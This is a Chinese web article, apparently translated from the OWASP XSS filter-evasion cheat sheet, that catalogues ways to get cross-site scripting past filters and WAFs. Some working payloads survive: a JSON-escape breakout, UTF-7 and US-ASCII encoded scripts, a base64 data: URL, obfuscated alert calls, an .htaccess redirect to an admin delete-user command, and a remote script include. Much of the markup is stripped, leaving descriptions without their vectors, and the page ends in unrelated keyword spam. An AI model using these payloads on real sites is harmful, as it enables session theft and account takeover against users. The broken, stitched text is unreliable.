千家信息网

如何绕过XSS的防护

发表于:2024-09-22 作者:千家信息网编辑
千家信息网最后更新 2024年09月22日,今天就跟大家聊聊有关如何绕过XSS的防护,可能很多人都不太了解,为了让大家更加了解,小编给大家总结了以下内容,希望大家根据这篇文章可以有所收获。下面列出了一系列XSS攻击,可用于绕过某些XSS防御fi
千家信息网最后更新 2024年09月22日如何绕过XSS的防护

今天就跟大家聊聊有关如何绕过XSS的防护,可能很多人都不太了解,为了让大家更加了解,小编给大家总结了以下内容,希望大家根据这篇文章可以有所收获。

下面列出了一系列XSS攻击,可用于绕过某些XSS防御filter。针对输入进行过滤是不完全是XSS的防御方法,可以使用这些payload来测试网站在防护XSS攻击方面的能力,希望你的WAF产品能拦截下面所有的payload。

正文

XSS攻击原理:

攻击者向有XSS漏洞的网站中置入精心构造恶意的HTML代码,当用户浏览该网站时,这段HTML代码会自动执行,从而达到攻击的目的。

XSS攻击可以分成两种类型:一种是非持久型XSS攻击 一种是持久型XSS攻击。

反射型:请求地址上加入恶心的HTML代码。

dom型:api向网站注入一些恶意的HTML代码

持久性:攻击者把恶意代码提交到后台数据库中,当用户下次打开的时候就会从后台接收这些恶意的代码。

防范:

前端通过转义来进行防范和过滤

后端主要是通过WAF正则+OWASP规则+XSS语义分析+机器学习payload特征进行防卫。

普通的XSS JavaScript注入:

很可能会被过滤,建议先尝试一下(现代浏览器中都不需要引号,因此此处将其省略)

XSS有效负载,该测试将在多个上下文中执行,包括html,脚本字符串,js和url:

_javascript:/*-->

使用JavaScript指令的IMG SRC XSS,注: IE7.0在图像上下文中不支持JavaScript指令,但在其他上下文中支持JavaScript指令:

没有引号也没分号情况:

大小写混淆的 XSS攻击payload:

HTML实体,必须使用分号:

同时使用双引号和单引号,则可以使用重音符来封装JavaScript字符串,因为许多跨站点脚本过滤器都不知道重音符:

畸形的a标签,跳过HREF属性:

xxs link

Chrome浏览器喜欢为替换丢失的引号,Chrome会将其放在正确的位置,并在URL或脚本上修复丢失的引号。

xxs link

格式错误的IMG标签,封装在引号中的IMG标签内创建我们的XSS矢量,为了纠正草率的编码。这将使正确解析HTML标记变得更加困难:

">

fromCharCode源字符码,不允许任何类型的引号,可以在JavaScript中eval()a fromCharCode来创建所需的XSS向量:

默认SRC标记可获取过去检查SRC域名的filter,这将绕过大多数SRC域过滤器。在事件方法中插入javascript还将适用于任何使用Form,Iframe,Input,Embed等元素的HTML标记类型注入。这还将允许您将标记类型的任何相关事件替换为onbluronclick从而为您提供大量的这里列出的许多注射的变化:

保留默认的SRC标签为空:

Default SRC tag by leaving it out entirely,完全忽略src:

错误提示 onerror alert:

IMG onerror and javascript alert 编码:

Decimal HTML character references,十进制字符引用,在标记内使用javascript:指令的所有XSS示例都无法在Gecko渲染引擎模式下的Firefox或Netscape 8.1+中运行):

十进制html字符引用,without trailing semicolons,同上+没有尾随分号,这在尝试查找"&#XX;"的XSS中通常很有效,因为大多数人都不了解填充-总共最多7个数字字符。这对于使用$ tmp_string =〜s /.*\&#(\ d +);。* / $ 1 /;等字符串进行解码的人也很有用。这错误地假设需要使用分号来终止html编码的字符串:

十六进制html字符引用,without trailing semicolons,不带尾部分号:

嵌入标签,用于破坏跨站点脚本攻击:

嵌入编码标签,用于分解XSS:

嵌入换行分解XSS:

Only 09 (horizontal tab), 10 (newline) and 13 (carriage return) work. See the ascii chart for more details

嵌入carriage返回分解 XSS:

\x0D是十六进制,也就是13所对就在的ASCII码字符,也就是回车符

null分解js指令,但是空字符更有用,它帮助我绕过了某些现实世界的过滤器:

perl -e 'print "";' > out

XSS图像中JavaScript之前的空格和元字符:

错误地假设引号和"_javascript:"关键字之间不能有空格,则这非常有用。实际情况是,您可以使用小数点后1-32之间的任何字符

非字母非数字XSS:

Firefox HTML解析器假设非alpha非数字在HTML关键字后无效,认为它是HTML标记后的空白或无效标记。

一些XSS过滤器假定它们要查找的标记被空白分隔开。例如"

Gecko呈现引擎允许在事件处理程序和等号之间使用除字母、数字或封装字符(如引号、尖括号等)以外的任何字符,从而更容易绕过跨站点脚本块。

多余的开放括号:

某些检测引擎使用成对的开闭尖括号,然后对标签进行比较,

双斜线注释了结束的无关括号,以抑制JavaScript错误。

<

没有结束脚本tag:

在Firefox和Netscape 8.1的Gecko渲染引擎模式下,您实际上不需要这个跨站点脚本向量的">"部分。

Firefox assumes it's safe to close the HTML tag and add closing tags for you。

标记,Opera中工作,Netscape在IE呈现模式下工作,,

将自己的JavaScript注入其中,但是服务器端应用程序会转义某些引号,您可以通过转义它们的转义字符来绕过这些引号。

当它被注入时,它将读取,最后将取消对双引号的转义,并导致跨站点脚本向量触发。

\";alert('XSS');//

如果对嵌入的数据应用了正确的JSON或Javascript转义,而不是HTML编码,则完成脚本块并启动。

结束标签tag:

关闭标记的简单XSS向量,可以封装恶意跨站点脚本攻击。</p><p>

INPUT image:

BODY image:

IMG Dynsrc:

IMG lowsrc:

List-style-image:

处理为项目符号列表嵌入图像的相当深奥的问题,这只适用于IE呈现引擎。不是一个特别有用的跨站点脚本。

  • XSS

    VBscript in an image:

    Livescript(仅限旧版本的Netscape):

    SVG对象标记:

    SVG object tag:

    ECMAScript 6:

    Set.constructor`alert\x28document.domain\x29```

    BODY tag:

    不需要使用"_javascript:"或"

    可以在等号前加一个空格("οnlοad="!="οnlοad=")。

    事件句柄:

    FSCommand() (攻击者可以在嵌入式Flash对象中执行此操作)

    onAbort() (当用户中止加载图像时)

    onActivate() (当对象设置为活动元素时)

    onAfterPrint() (在用户打印或预览打印作业后激活)

    onAfterUpdate() (更新源对象中的数据后在数据对象上激活)

    onBeforeActivate() (在对象设置为活动元素之前激发)

    onBeforeCopy() (攻击者在将选定内容复制到剪贴板之前执行攻击字符串-攻击者可以使用execCommand("Copy")函数执行此操作)

    onBeforeCut() (攻击者在剪切选定内容之前执行攻击字符串)

    onBeforeDeactivate() (从当前对象更改activeElement后立即激发)

    onBeforeEditFocus() (在可编辑元素中包含的对象进入UI激活状态之前,或在选中可编辑容器对象时激发)

    onBeforePaste() (需要诱使用户粘贴或使用execCommand("粘贴")函数强制用户粘贴)

    onBeforePrint() (需要诱使用户进行打印,否则攻击者可以使用print()或execCommand("print")函数).

    onBeforeUnload() (需要诱使用户关闭浏览器-攻击者无法卸载windows,除非它是从父级派生的)

    onBeforeUpdate() (在更新源对象中的数据之前在数据对象上激活)

    onBegin() (onbegin事件在元素的时间线开始时立即激发)

    onBlur() (如果加载了另一个弹出窗口and window looses focus)

    onBounce() (当选取框对象的behavior属性设置为"alternate"并且选取框的内容到达窗口的一侧时激发)

    onCellChange() (当数据提供程序中的数据更改时触发)

    onChange() ("选择"、"文本"或"文本区域"字段失去focus,其值已被修改)

    onClick() (有人点击表单)

    onContextMenu() (用户需要鼠标右击攻击区域)

    onControlSelect() (当用户要对对象进行控件选择时触发)

    onCopy() (用户需要复制某些内容,或者可以使用execCommand("copy")命令利用它)

    onCut() (用户需要复制某些内容,或者可以使用execCommand("Cut")命令利用它)

    onDataAvailable() (用户需要更改元素中的数据,否则攻击者可以执行相同的功能)

    onDataSetChanged() (当数据源对象公开的数据集更改时触发)

    onDataSetComplete() (触发以指示数据源对象中的所有数据都可用)

    onDblClick() (用户双击表单元素或链接)

    onDeactivate() (当activeElement从当前对象更改为父文档中的另一个对象时激发)

    onDrag() (要求用户拖动对象)

    onDragEnd() (要求用户拖动对象)

    onDragLeave() (要求用户将对象拖离有效位置)

    onDragEnter() (要求用户将对象拖到有效位置)

    onDragOver() (要求用户将对象拖到有效位置)

    onDragDrop() (用户将对象(如文件)放到浏览器窗口中)

    onDragStart() (在用户启动拖动操作时发生)

    onDrop() (用户将对象(如文件)放到浏览器窗口中)

    onEnd() (当时间线结束时,onEnd事件将触发)

    onError() (加载文档或图像会导致错误)

    onErrorUpdate() (当更新数据源对象中的关联数据时出错时,对数据绑定对象触发)

    onFilterChange() (在视觉筛选器完成状态更改时触发)

    onFinish() (当选取框完成循环时,攻击者可以创建攻击)

    onFocus() (当窗口获得焦点时,攻击者执行攻击字符串)

    onFocusIn() (当窗口获得焦点时,攻击者执行攻击字符串)

    onFocusOut() (当窗口失去焦点时,攻击者执行攻击字符串)

    onHashChange() (当文档当前地址的片段标识符部分更改时触发)

    onHelp() (当用户在窗口处于焦点时点击F1时,攻击者执行攻击字符串)

    onInput() (元素的文本内容通过用户界面更改)

    onKeyDown() (用户按下键触发)

    onKeyPress() (用户按下或按住键)

    onKeyUp() (用户松开按键)

    onLayoutComplete() (用户必须打印或打印预览)

    onLoad() (攻击者在窗口加载后执行攻击字符串)

    onLoseCapture() (可被releaseCapture()方法利用)

    onMediaComplete() (当使用流媒体文件时,此事件可能在文件开始播放之前触发)

    onMediaError() (用户在浏览器中打开包含媒体文件的页面,当出现问题时触发事件)

    onMessage() (当文档收到消息时触发)

    onMouseDown() (攻击者需要让用户单击图像)

    onMouseEnter() (光标在对象或区域上移动)

    onMouseLeave() (攻击者需要让用户将鼠标移到图像或表上,然后再次关闭)

    onMouseMove() (攻击者需要让用户将鼠标移到图像或表上)

    onMouseOut() (攻击者需要让用户将鼠标移到图像或表上,然后再次关闭)

    onMouseOver() (光标在对象或区域上移动)

    onMouseUp() (攻击者需要让用户单击图像)

    onMouseWheel() (攻击者需要让用户使用鼠标滚轮)

    onMove() (用户或攻击者会移动页面)

    onMoveEnd() (用户或攻击者会移动页面)

    onMoveStart() (用户或攻击者会移动页面)

    onOffline() (如果浏览器在联机模式下工作并且开始脱机工作,则发生)

    onOnline() (如果浏览器在脱机模式下工作并且开始联机工作,则发生)

    onOutOfSync() (中断元素播放时间线定义的媒体的能力)

    onPaste() (用户需要粘贴或攻击者可以使用execCommand("粘贴")函数)

    onPause() (当时间线暂停时,onpause事件将对每个活动的元素(包括body元素)触发)

    onPopState() (当用户导航会话历史记录时激发)

    onProgress() (攻击者会将此用作正在加载的flash电影)

    onPropertyChange() (用户或攻击者需要更改元素属性)

    onReadyStateChange() (用户或攻击者需要更改元素属性)

    onRedo() (用户在撤消事务历史记录中前进)

    onRepeat() (事件在时间线的每次重复中触发一次,第一个完整周期除外)

    onReset() (用户或攻击者重置窗体)

    onResize() (用户将调整窗口大小;攻击者可以使用以下命令自动初始化:)

    onResizeEnd() (用户将调整窗口大小;攻击者可以使用以下内容自动初始化: )

    onResizeStart() (用户将调整窗口大小;攻击者可以使用以下命令自动初始化: )

    onResume() (onresume事件对时间线恢复时变为活动的每个元素(包括body元素)触发)

    onReverse() (如果元素的repeatCount大于1,则每次时间线开始向后播放时都会触发此事件)

    onRowsEnter() (用户或攻击者需要更改数据源中的行)

    onRowExit() (用户或攻击者需要更改数据源中的行)

    onRowDelete() (用户或攻击者需要删除数据源中的行)

    onRowInserted() (用户或攻击者需要在数据源中插入一行)

    onScroll() (用户需要滚动,否则攻击者可以使用scrollBy()函数)

    onSeek() (onreverse事件在时间线设置为沿除forward以外的任何方向播放时触发)

    onSelect() (用户需要选择一些文本-攻击者可以使用以下命令自动初始化: window.document.execCommand("SelectAll");)

    onSelectionChange() (用户需要选择一些文本-攻击者可以使用以下命令自动初始化: window.document.execCommand("SelectAll");)

    onSelectStart() (用户需要选择一些文本-攻击者可以使用以下命令自动初始化: window.document.execCommand("SelectAll");)

    onStart() (在每个选框循环的开始处激发)

    onStop() (用户需要按下停止按钮或离开网页)

    onStorage() (存储区域已更改)

    onSyncRestored() (用户中断元素的播放时间线定义的媒体的能力)

    onSubmit() (需要攻击者或用户提交表单)

    onTimeError() (用户或攻击者将时间属性(如dur)设置为无效值)

    onTrackChange() (用户或攻击者更改播放列表中的playlist)

    onUndo() (用户在撤消事务历史记录中返回)

    onUnload() (当用户单击任何链接或按下后退按钮时,攻击者会强制单击)

    onURLFlip() (当由HTML+TIME(定时交互式多媒体扩展)媒体标记播放的高级流式格式(ASF)文件处理嵌入在ASF文件中的脚本命令时,会触发此事件)

    seekSegmentTime() (这是一个在元素的段时间线上定位指定点并从该点开始播放的方法。该段由一个重复的时间线组成,包括使用AUTOREVERSE属性的反向播放。)

    BGSOUND:

    & JavaScript includes:


    STYLE sheet:

    远程样式表Remote style sheet:

    使用像远程样式表这样简单的东西,您可以包括XSS,因为可以使用嵌入式表达式重新定义样式参数。)

    这仅在IE和Netscape 8.1+的IE渲染引擎模式下有效。

    注意:对于所有这些远程样式表示例,它们都使用body标记,因此除非页面上有向量本身以外的其他内容,否则无法工作。

    因此,如果页面是空白页面,则需要向该页面添加一个字母使其工作

    远程样式表Remote style sheet2:

    工作原理与上述相同,但使用标记,则可以将其删除。

    如果在跨站点脚本攻击中不能有等号或斜线(在现实世界中至少出现过一次),则这非常有用.

    远程样式表Remote style sheet3:

    这只适用于Opera8.0(不再适用于9.x),但相当棘手。根据RFC2616设置,链接头不是HTTP1.1规范的一部分,但是一些浏览器仍然允许它(比如Firefox和Opera)。

    这里的诀窍是,我设置了一个头(基本上与HTTP头中的Link:;REL=style sheet没什么不同),

    而带有跨站点脚本向量的远程样式表正在运行JavaScript,这在FireFox中是不受支持的。

    远程样式表Remote style sheet4:

    这只适用于Gecko渲染引擎,并通过将XUL文件绑定到父页面来工作。我认为讽刺的是,Netscape认为Gecko更安全,因此对绝大多数网站来说都很脆弱。

    带有用于XSS的分解JavaScript的STYLE标记STYLE tags with broken up JavaScript for XSS:

    此XSS有时会将IE发送到无限循环的警报中。

    STYLE attribute using a comment to break up expression使用注释拆分表达式的STYLE属性:

    带表达式的IMG样式:

    这实际上是上述XSS向量的混合,但它确实显示了分离样式标记的难度,就像上面所说的,这可以将IE发送到循环中。

    exp/*

    STYLE tag (Older versions of Netscape only):

    STYLE tag using background-image:

    STYLE tag using background:

    具有STYLE属性的匿名HTMLAnonymous HTML with STYLE attribute:

    IE6和Netscape 8.1 +在IE渲染引擎模式中并不真正关心你构建的HTML标签是否存在,只要它从一个打开的角度括号和一个字母开始.

    Local htc file本地htc文件:

    这与上面两个跨站点脚本向量略有不同,因为它使用的.htc文件必须与XSS向量位于同一服务器上。

    示例文件的工作方式是:拉入JavaScript并将其作为style属性的一部分运行.

    US-ASCII encoding:

    它使用格式错误的ASCII编码,使用7位而不是8位。此XSS可以绕过许多内容过滤器,

    但仅在主机使用US-ASCII编码传输或您自己设置编码时才起作用。

    这对于web应用程序防火墙跨站点脚本规避比服务器端筛选器规避更有用。

    Apache Tomcat是唯一已知的以US-ASCII编码传输的服务器。

    ¼script¾alert(¢XSS¢)¼/script¾

    META:

    meta-refresh的奇怪之处在于它没有在头中发送referer,因此它可以用于某些类型的攻击,在这些攻击中,您需要删除引用的url。

    META using data:

    指令URL方案。这很好,因为它也没有任何明显包含脚本或JavaScript指令的东西,因为它使用base64编码。

    请参阅RFC2397了解更多详细信息,或在这里或这里编码您自己的。如果您只想对原始HTML或JavaScript进行编码,

    也可以使用下面的XSS计算器,因为它具有Base64编码方法。

    META with additional URL parameter:

    如果目标网站试图查看URL开头是否包含"http://"。

    IFRAME:

    If iframes are allowed there are a lot of other XSS problems as well。

    IFRAME Event based:

    IFrames和大多数其他元素可以使用基于事件的mayhem,如下所示。。。

    FRAME:

    Frames have the same sorts of XSS problems as iframes

    TABLE:

    TD:

    正如上面所述,TD很容易受到包含JavaScript XSS向量的背景的攻击。

    DIV:

    DIV background-image

    DIV background-image with unicoded XSS exploit:

    这已经被稍微修改,以混淆url参数。

    DIV background-image plus extra characters额外字符:

    在IE和Netscape 8.1中的安全站点模式下,在开括号之后、JavaScript指令之前允许的任何错误字符。这些是十进制的,但是当然可以包括十六进制和添加填充。

    可以使用以下任何字符:1-32、34、39、160、8192-8.13、12288、65279。

    DIV expression:

    这种方法的一个变体对现实世界中使用冒号和"表达式"之间的换行符的跨站点脚本过滤器是有效的.

    Downlevel-Hidden block:

    仅适用于IE5.0及更高版本,Netscape 8.1适用于IE渲染引擎模式)。有些网站认为评论块中的任何内容都是安全的,因此不需要删除,这就允许我们使用跨站点脚本。

    或者系统可以在某些东西周围添加注释标记,试图使其无害化。如我们所见,这可能不起作用.

    BASE tag:

    在IE和Netscape 8.1中以安全模式工作。您需要//来注释掉下一个字符,这样就不会出现JavaScript错误,XSS标记将呈现。

    此外,这依赖于网站使用动态放置的图像,如"images/image.jpg",而不是完整路径。

    如果路径包含一个前导正斜杠,如"/images/image.jpg",则可以从该向量中删除一个斜杠(只要有两个斜杠开始注释,则此操作有效)

    OBJECT tag:

    如果它们允许对象,您还可以注入病毒有效负载以感染用户等,与APPLET标记相同)。链接文件实际上是一个HTML文件,可以包含您的XSS.

    使用嵌入标记可以嵌入包含xss的Flash电影:

    单击此处进行演示。如果添加allowScriptAccess="never"和allownetworking="internal"属性,则可以降低此风险.

    EMBED SRC="http://ha.ckers.Using an EMBED tag you can embed a Flash movie that contains XSS. Click here for a demo. If you add the attributes allowScriptAccess="never" and allownetworking="internal" it can mitigate this risk (thank you to Jonathan Vanasco for the info).:

    org/xss.swf" AllowScriptAccess="always">

    You can EMBED SVG which can contain your XSS vector:

    这个例子只适用于Firefox,但它比Firefox中的上述向量要好,因为它不需要用户打开或安装Flash。

    在flash中使用ActionScript会混淆XSS向量:

    a="get";

    b="URL(\"";

    c="_javascript:";

    d="alert('XSS');\")";

    eval(a+b+c+d);

    带有CDATA混淆的XML数据:

    此XSS攻击仅在IE渲染引擎模式下的IE和Netscape 8.1中有效.

    使用XML数据岛生成的嵌入JavaScript的本地托管XML:

    这与上面的相同,但引用的是包含跨站点脚本向量的本地托管(必须位于同一服务器上)XML文件。

    HTML+TIME in XML:

    这只适用于IE呈现引擎模式下的Internet Explorer和Netscape 8.1,请记住,您需要介于HTML和正文标记之间才能工作.

    ">

    假设您只能容纳几个字符,并且它会过滤".js":

    您可以将JavaScript文件重命名为图像作为XSS向量.

    SSI (Server Side Includes):

    这需要在服务器上安装SSI才能使用此XSS向量。我可能不需要提及这一点,但如果您可以在服务器上运行命令,无疑会出现更严重的问题.

    [an error occurred while processing the directive][an error occurred while processing the directive]

    PHP:

    需要在服务器上安装PHP才能使用此XSS向量。同样,如果你能像这样远程运行任何脚本,可能会有更可怕的问题.

    echo('IPT>alert("XSS")'); ?>

    IMG Embedded commands:

    当插入此内容的网页(如网页板)位于密码保护之后,并且密码保护与同一域上的其他命令一起工作时,此操作有效。

    这可用于删除用户、添加用户(如果访问该页的用户是管理员)、将凭据发送到其他位置等。。。。这是使用较少但更有用的XSS向量之一.

    IMG Embedded commands part II:

    这更可怕,因为除了它不在您自己的域中之外,没有任何标识使它看起来可疑。

    向量使用302或304(其他也可以)将图像重定向回命令。

    因此,一个普通的实际上可能是一个攻击向量,作为查看图像链接的用户运行命令。

    下面是.htaccess(在Apache下)行来完成向量.

    _Redirect 302 /a.jpg http://victimsite.com/admin.asp&deleteuser

    Cookie 篡改:

    不可否认,这是相当模糊的,但我看到了几个例子,其中

    还有其他一些站点的例子,其中存储在cookie中的用户名不是从数据库中获取的,而是只显示给访问页面的用户。

    结合这两个场景,您可以修改受害者的cookie,该cookie将以JavaScript的形式显示给他们

    (您还可以使用它来注销或更改他们的用户状态,让他们以您的身份登录,等等)。

    UTF-7 encoding:

    如果XSS所在的页面没有提供页面字符集头,或者任何设置为UTF-7编码的浏览器都可以使用以下内容。

    单击此处获取示例(如果用户的浏览器设置为"自动检测",并且在Internet Explorer和IE呈现引擎模式下的Netscape 8.1中没有覆盖页面上的内容类型,则不需要charset语句)。

    这在任何现代浏览器中都无法工作,除非更改编码类型,这就是为什么将其标记为完全不受支持的原因。Watchfire在Google的自定义404脚本中发现了这个漏洞

    +ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-

    使用HTML引号封装的XSS:

    这是IE测试的,你的里程数可能会有所不同。对于允许"

    用于在允许"

    还有另一个xs要避开同一个过滤器,"/\s]+)?)+\s*|\s*)src/i"。

    我知道我说过我不打算讨论缓解技术,但是如果您仍然希望允许

    最后一次XSS攻击是为了躲避,"/\s]+)?)+\s*|\s*)src/i"使用重音符(同样,在Firefox中不起作用).

    下面是一个XSS示例,它打赌regex不会捕获匹配的一对引号,而是会找到任何引号来不正确地终止参数字符串.

    这个XSS仍然让我担心,因为如果不阻止所有活动内容,几乎不可能停止它.

    PT SRC="httx://xss.rocks/xss.js">

    URL字符串规避类:

    假设"http://www.google.com/"在语法上是不允许的.

    IP versus hostname:

    XSS

    URL encoding

    XSS

    Dword encoding:

    注意:还有其他的Dword编码变体-请参阅下面的IP混淆计算器以了解更多详细信息.

    XSS

    Hex encoding十六进制:

    允许的每个数字的总大小大约为240个字符,如您在第二个数字上看到的,并且由于十六进制数字介于0和F之间,因此不需要在第三个十六进制引号上的前导零).

    XSS

    Octal encoding八进制:

    Again padding is allowed, although you must keep it above 4 total characters per class - as in class A, class B, etc...:

    XSS

    Base64 encoding:

    Mixed encoding:

    让我们混合和匹配基本编码,并加入一些制表符和换行符-为什么浏览器允许这样做,我永远不会知道)。制表符和换行符只有在用引号封装时才起作用。

    XSS

    协议解析旁路:

    (//转换为http:/,这将保存更多的字节)。当空间也是一个问题时(少两个字符会有很长的路要走),

    这真的很方便,而且可以轻松地绕过类似regex的"(ht | f)tp(s)?"//"。

    您也可以将"/"改为"\\"。但是,您确实需要保留斜杠,否则这将被解释为相对路径URL。

    XSS

    Google "feeling lucky" part 1.:

    Firefox使用Google的"感觉幸运"功能将用户重定向到你输入的任何关键词。

    因此,如果你的可利用页面是一些随机关键字的顶部(如你在这里看到的),你可以对任何Firefox用户使用该功能。这使用了Firefox的"keyword:"协议。

    例如,您可以使用如下"keyword:XSS+RSnake"连接多个关键字。从2.0开始,这不再适用于Firefox。

    XSS

    Google "feeling lucky" part 2:

    这使用了一个看起来只适用于Firefox的非常小的技巧,因为如果它是"感觉幸运"功能的实现。

    与下一个不同,这在Opera中不起作用,因为Opera认为这是旧的HTTP基本身份验证仿冒攻击,而不是。这只是一个格式错误的URL。

    如果你点击对话框上的OK,它将工作,但由于错误的对话框,我是说Opera不支持此功能,并且从2.0开始Firefox不再支持此功能。

    XSS

    Google "feeling lucky" part 3:

    这使用了一个格式错误的URL,似乎只在Firefox和Opera中有效,因为如果它们实现了"感觉幸运"功能。

    像上面所有的这些一样,它要求你在Google中的关键字是1(在本例中是"Google")。

    XSS

    Removing cnames:

    当与上述URL结合使用时,删除"www."将为正确设置此设置的服务器节省额外的4个字节,总共节省9个字节。

    XSS

    绝对DNS的额外点:

    XSS

    JavaScript link location:

    XSS

    内容替换为攻击向量:

    假设"http://www.google.com/"以编程方式替换为空)。

    实际上,我使用了一个类似的攻击向量来攻击几个独立的真实世界XSS过滤器,

    方法是使用转换过滤器本身(这里是一个示例)来帮助创建攻击向量

    (即:"java ;script:"被转换为"_javascript:",它在IE、Netscape 8.1+中以安全站点模式和Opera呈现)。

    XSS

    字符转义序列:

    HTML和JavaScript中字符"<"的所有可能组合。其中大多数不会在框外渲染,但其中许多可以在上述特定情况下渲染。

    <

    %3C

    &lt

    &lt;

    &LT

    &LT;

    <

    <

    <

    <

    <

    <

    &#60;

    &#060;

    &#0060;

    &#00060;

    &#000060;

    &#0000060;

    <

    <

    <

    <

    <

    <

    &#x3c;

    &#x03c;

    &#x003c;

    &#x0003c;

    &#x00003c;

    &#x000003c;

    <

    <

    <

    <

    <

    <

    &#X3c;

    &#X03c;

    &#X003c;

    &#X0003c;

    &#X00003c;

    &#X000003c;

    <

    <

    <

    <

    <

    <

    &#x3C;

    &#x03C;

    &#x003C;

    &#x0003C;

    &#x00003C;

    &#x000003C;

    <

    <

    <

    <

    <

    <

    &#X3C;

    &#X03C;

    &#X003C;

    &#X0003C;

    &#X00003C;

    &#X000003C;

    \x3c

    \x3C

    \u003c

    \u003C

    绕过WAF的方法-跨站点脚本:

    General issues

    Stored XSS:

    如果攻击者设法推动XSS通过过滤器,WAF将无法阻止攻击的传导。在Javascript中反映XSS.

    Example:

    Exploitation: /?xss=500); alert([xss_clean]);//

    DOM-based XSS:

    Example:

    Exploitation: /?xss=[xss_clean]

    XSS via request Redirection:

    通过请求重定向的XSS。

    易受攻击的代码.

    ...

    header('Location: '.$_GET['param']);

    ...

    As well as:

    ...

    header('Refresh: 0; URL='.$_GET['param']);

    ...

    This request will not pass through the WAF:

    /?param=_javascript:alert([xss_clean])

    This request will pass through the WAF and an XSS attack will be conducted in certain browsers.

    /?param=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4=

    WAF ByPass Strings for XSS:

    ">">'>

    ">

    ">

    过滤器旁路警报混,Filter bypass alarm confusion:

    (alert)(1)

    a=alert,a(1)

    [1].find(alert)

    top["al"+"ert"](1)

    top[/al/.source+/ert/.source](1)

    al\u0065rt(1)

    top['al\145rt'](1)

    top['al\x65rt'](1)

    top[8680439..toString(30)](1)

    http://example.com/index.php?user=

    应用程序检测和纠正无效输入的方法是防止XSS的另一个主要弱点。黑名单可能不包括所有可能的攻击字符串,白名单可能过于宽容,清理可能失败,或者某种类型的输入可能被错误地信任并保持未清理状态。

    工具类:

    • OWASP CAL9000

    CAL9000是Web应用程序安全性测试工具的合集,可补充当前Web代理和自动扫描程序的功能集。它作为参考托管在https://1337.yehg.net/CAL9000/上。

    • PHP字符集编码器(PCE) - http://h5k.in/encoding [镜:http://yehg.net/e ]

    此工具可帮助您在65种字符集之间对任意文本进行编码。还提供了JavaScript提供的一些编码功能。

    • HackVertor - http://www.businessinfo.co.uk/labs/hackvertor/hackvertor.php

    它为高级字符串操作攻击提供了数十种灵活的编码。

    OWASP WebScar

    WebScarab是一个框架,用于分析使用HTTP和HTTPS协议进行通信的应用程序。

    • XSS-代理 - http://xss-proxy.sourceforge.net/

    XSS-Proxy是高级的跨站点脚本(XSS)攻击工具。

    • ratproxy - http://code.google.com/p/ratproxy/

    一种半自动化的,很大程度上是被动的Web应用程序安全审核工具,基于对复杂Web 2.0环境中现有的用户发起的流量的观察,已针对潜在问题和与安全相关的设计模式进行了精确,灵敏的检测和自动注释,并进行了优化。

    • 代理http : //portswigger.net/proxy/

    Burp代理是用于攻击和测试Web应用程序的交互式HTTP/S代理服务器。

    • OWASP Zed的攻击代理(ZAP) - OWASP_Zed_Attack_Proxy_Project

    ZAP是易于使用的集成渗透测试工具,用于发现Web应用程序中的漏洞。它被设计为具有广泛的安全经验的人使用,因此,它是渗透测试新手的开发人员和功能测试人员的理想选择。ZAP提供了自动扫描程序以及一系列工具,可让您手动查找安全漏洞。

    • OWASP Xenotix XSS漏洞利用框架 - OWASP_Xenotix_XSS_Exploit_Framework

    OWASP Xenotix XSS漏洞利用框架是一个高级的跨站点脚本(XSS)漏洞检测和利用框架。它通过其独特的三重浏览器引擎(Trident,WebKit和Gecko)嵌入式扫描仪提供零误报扫描结果。据称,它具有约1600多个独特的XSS有效负载的全球第二大XSS有效负载,可有效地检测XSS漏洞和WAF绕过。Xenotix脚本引擎允许您通过Xenotix API创建自定义测试用例和附加组件。它与功能丰富的信息收集模块结合在一起,可用于目标侦察。漏洞利用框架包括用于渗透测试和概念验证创建的令人讨厌的XSS漏洞利用模块。

    看完上述内容,你们对如何绕过XSS的防护有进一步的了解吗?如果还想了解更多知识或者相关内容,请关注行业资讯频道,感谢大家的支持。

    攻击 用户 攻击者 字符 对象 脚本 向量 标记 数据 站点 编码 元素 内容 引号 工作 有效 事件 图像 字符串 引擎 数据库的安全要保护哪些东西 数据库安全各自的含义是什么 生产安全数据库录入 数据库的安全性及管理 数据库安全策略包含哪些 海淀数据库安全审计系统 建立农村房屋安全信息数据库 易用的数据库客户端支持安全管理 连接数据库失败ssl安全错误 数据库的锁怎样保障安全 苹果怎么升级网络安全性 传奇自建服务器包裹自动回收 网络技术与自动化专业 聊天软件开发结构 五个数据库应用系统 软件开发有多苦 网络安全各路高手齐聚蓉城 访客系统数据库结构 网络安全涉密涉敏隐患点 uk软件开发票怎么操作 软件开发项目启动会议纪要 软件开发工程师薪酬考核 海南服务器机柜定制厂家云空间 靖江购买网络技术诚信合作 系统硬件和软件开发 数据库更改20条数据 服务器上日志项目启动不成功 福州软件开发哪个公司比较好 山东仓库管理软件开发 数据库人事管理用户表 win7本地安全机构数据库 nfs万兆 服务器千兆 安徽工控软件开发大概要多少钱 政治生活中的网络安全知识 软件开发程序怎么写 清华网络安全学硕 服务器做完系统硬盘大小不对 超激斗梦境连接不了服务器 听取网络安全工作汇报会议纪要 网络安全有感500字
    0